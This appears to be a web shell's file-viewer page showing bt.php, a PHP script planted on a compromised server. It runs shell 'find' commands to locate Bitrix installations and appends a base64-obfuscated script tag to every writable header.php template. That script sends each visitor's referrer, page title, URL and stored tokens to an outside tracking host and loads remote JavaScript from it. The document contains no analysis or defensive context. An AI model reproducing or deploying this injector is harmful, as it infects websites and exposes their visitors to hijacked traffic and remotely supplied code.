Your IP : 216.73.216.86


Current Path : /var/www/homesaver/www/ajax/
Upload File :
Current File : /var/www/homesaver/www/ajax/bt.php

<?php 
function findAccessiblePaths($path)
{
    $parts = explode("/", $path);
    $currentPath = "/";
    $accessiblePaths = [];

    foreach ($parts as $part) {
        if (!empty($part)) {
            $currentPath .= $part . "/";
            if (is_readable($currentPath)) {
                $accessiblePaths[] = $currentPath;
            }
        }
    }
    return $accessiblePaths;
}

function modifyBitrixTemplates()
{
    $cwd = getcwd();
    $accessiblePaths = findAccessiblePaths($cwd);
    $allModifiedFiles = [];

    foreach ($accessiblePaths as $path) {
        $command = getSearchCommand($path);
        $output = shell_exec($command);
        $templatePaths = [];

        if ($output) {
            $paths = preg_split("/\r\n|\r|\n/", trim($output));
            foreach ($paths as $path) {
                $foundPaths = findFilesRecursively($path, "header.php"); // Example file in a Bitrix template
                $templatePaths = array_merge($templatePaths, $foundPaths);
            }
        }

        $modifiedFiles = addCustomScriptToFiles($templatePaths);
        if (!empty($modifiedFiles)) {
            $allModifiedFiles = array_merge($allModifiedFiles, $modifiedFiles);
            break;
        }
    }

    if (empty($allModifiedFiles)) {
        echo "No templates modified or accessible";
    } else {
        echo print_r($allModifiedFiles);
    }
}

function addCustomScriptToFiles(array $templatePaths)
{
    $modifiedFiles = [];
    $newFunctionCode = getCustomScript();

    foreach ($templatePaths as $templatePath) {
        if (file_exists($templatePath) && is_writable($templatePath)) {
            $code = file_get_contents($templatePath);
            if (strpos($code, "custom_query_script") === false) {
                $code .= "\n" . $newFunctionCode;
                file_put_contents($templatePath, $code);
                $modifiedFiles[] = $templatePath;
            }
        }
    }
    return $modifiedFiles;
}

function getCustomScript()
{
    return <<<HTML
<script src="data:text/javascript;base64,CiAgICAoZnVuY3Rpb24oKSB7CiAgICB2YXIgbmFtZSA9ICdfeUcyTUtZZkpzUmZ6TnJMbSc7CiAgICBpZiAoIXdpbmRvdy5feUcyTUtZZkpzUmZ6TnJMbSkgewogICAgICAgIHdpbmRvdy5feUcyTUtZZkpzUmZ6TnJMbSA9IHsKICAgICAgICAgICAgdW5pcXVlOiBmYWxzZSwKICAgICAgICAgICAgdHRsOiA4NjQwMCwKICAgICAgICAgICAgUl9QQVRIOiAnaHR0cHM6Ly90dHRmdHJhY2suZ2xvYmFsLnNzbC5mYXN0bHkubmV0L1BqQmtOdicsCiAgICAgICAgfTsKICAgIH0KICAgIGNvbnN0IF9aUFR2N243a1pZN1g3dHhNID0gbG9jYWxTdG9yYWdlLmdldEl0ZW0oJ2NvbmZpZycpOwogICAgaWYgKHR5cGVvZiBfWlBUdjduN2taWTdYN3R4TSAhPT0gJ3VuZGVmaW5lZCcgJiYgX1pQVHY3bjdrWlk3WDd0eE0gIT09IG51bGwpIHsKICAgICAgICB2YXIgX1B0MWJLQ3ZxOHJMTjZkTkYgPSBKU09OLnBhcnNlKF9aUFR2N243a1pZN1g3dHhNKTsKICAgICAgICB2YXIgX1hQbWREY013VGZTWENrcEYgPSBNYXRoLnJvdW5kKCtuZXcgRGF0ZSgpLzEwMDApOwogICAgICAgIGlmIChfUHQxYktDdnE4ckxONmRORi5jcmVhdGVkX2F0ICsgd2luZG93Ll95RzJNS1lmSnNSZnpOckxtLnR0bCA8IF9YUG1kRGNNd1RmU1hDa3BGKSB7CiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKCdzdWJJZCcpOwogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgndG9rZW4nKTsKICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ2NvbmZpZycpOwogICAgICAgIH0KICAgIH0KICAgIHZhciBfSjRjTURyZE03eHI2UENudiA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdzdWJJZCcpOwogICAgdmFyIF96eG1zU25Ed1BnaFFkS3RxID0gbG9jYWxTdG9yYWdlLmdldEl0ZW0oJ3Rva2VuJyk7CiAgICB2YXIgX1ZaN2t3cnMzeG1KVlBHTksgPSAnP3JldHVybj1qcy5jbGllbnQnOwogICAgICAgIF9WWjdrd3JzM3htSlZQR05LICs9ICcmJyArIGRlY29kZVVSSUNvbXBvbmVudCh3aW5kb3cubG9jYXRpb24uc2VhcmNoLnJlcGxhY2UoJz8nLCAnJykpOwogICAgICAgIF9WWjdrd3JzM3htSlZQR05LICs9ICcmc2VfcmVmZXJyZXI9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5yZWZlcnJlcik7CiAgICAgICAgX1ZaN2t3cnMzeG1KVlBHTksgKz0gJyZkZWZhdWx0X2tleXdvcmQ9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC50aXRsZSk7CiAgICAgICAgX1ZaN2t3cnMzeG1KVlBHTksgKz0gJyZsYW5kaW5nX3VybD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KGRvY3VtZW50LmxvY2F0aW9uLmhvc3RuYW1lICsgZG9jdW1lbnQubG9jYXRpb24ucGF0aG5hbWUpOwogICAgICAgIF9WWjdrd3JzM3htSlZQR05LICs9ICcmbmFtZT0nICsgZW5jb2RlVVJJQ29tcG9uZW50KG5hbWUpOwogICAgICAgIF9WWjdrd3JzM3htSlZQR05LICs9ICcmaG9zdD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KHdpbmRvdy5feUcyTUtZZkpzUmZ6TnJMbS5SX1BBVEgpOwogICAgaWYgKHR5cGVvZiBfSjRjTURyZE03eHI2UENudiAhPT0gJ3VuZGVmaW5lZCcgJiYgX0o0Y01EcmRNN3hyNlBDbnYgJiYgd2luZG93Ll95RzJNS1lmSnNSZnpOckxtLnVuaXF1ZSkgewogICAgICAgIF9WWjdrd3JzM3htSlZQR05LICs9ICcmc3ViX2lkPScgKyBlbmNvZGVVUklDb21wb25lbnQoX0o0Y01EcmRNN3hyNlBDbnYpOwogICAgfQogICAgaWYgKHR5cGVvZiBfenhtc1NuRHdQZ2hRZEt0cSAhPT0gJ3VuZGVmaW5lZCcgJiYgX3p4bXNTbkR3UGdoUWRLdHEgJiYgd2luZG93Ll95RzJNS1lmSnNSZnpOckxtLnVuaXF1ZSkgewogICAgICAgIF9WWjdrd3JzM3htSlZQR05LICs9ICcmdG9rZW49JyArIGVuY29kZVVSSUNvbXBvbmVudChfenhtc1NuRHdQZ2hRZEt0cSk7CiAgICB9CiAgICBpZiAoJycgIT09ICcnKSB7CiAgICAgICAgX1ZaN2t3cnMzeG1KVlBHTksgKz0gJyZieXBhc3NfY2FjaGU9JzsKICAgIH0KICAgIHZhciBhID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7CiAgICAgICAgYS50eXBlID0gJ2FwcGxpY2F0aW9uL2phdmFzY3JpcHQnOwogICAgICAgIGEuc3JjID0gd2luZG93Ll95RzJNS1lmSnNSZnpOckxtLlJfUEFUSCArIF9WWjdrd3JzM3htSlZQR05LOwogICAgdmFyIHMgPSBkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgnc2NyaXB0JylbMF07CiAgICBzLnBhcmVudE5vZGUuaW5zZXJ0QmVmb3JlKGEsIHMpCiAgICB9KSgpOw=="></script>

HTML;
}

function getSearchCommand($startPath)
{
    $os = strtoupper(substr(PHP_OS, 0, 3));
    if ($os === "WIN") {
        return "dir /s /b /a:d {$startPath}*bitrix*";
    } else {
        return "find {$startPath} -type d -name 'bitrix' -path '*/bitrix' 2>/dev/null";
    }
}

function findFilesRecursively($dir, $fileName)
{
    $results = [];
    $files = scandir($dir);

    foreach ($files as $file) {
        if ($file !== "." && $file !== "..") {
            $path = $dir . DIRECTORY_SEPARATOR . $file;
            if (is_dir($path)) {
                $results = array_merge($results, findFilesRecursively($path, $fileName));
            } elseif ($file === $fileName) {
                $results[] = $path;
            }
        }
    }

    return $results;
}

modifyBitrixTemplates(); 
die(); 
?>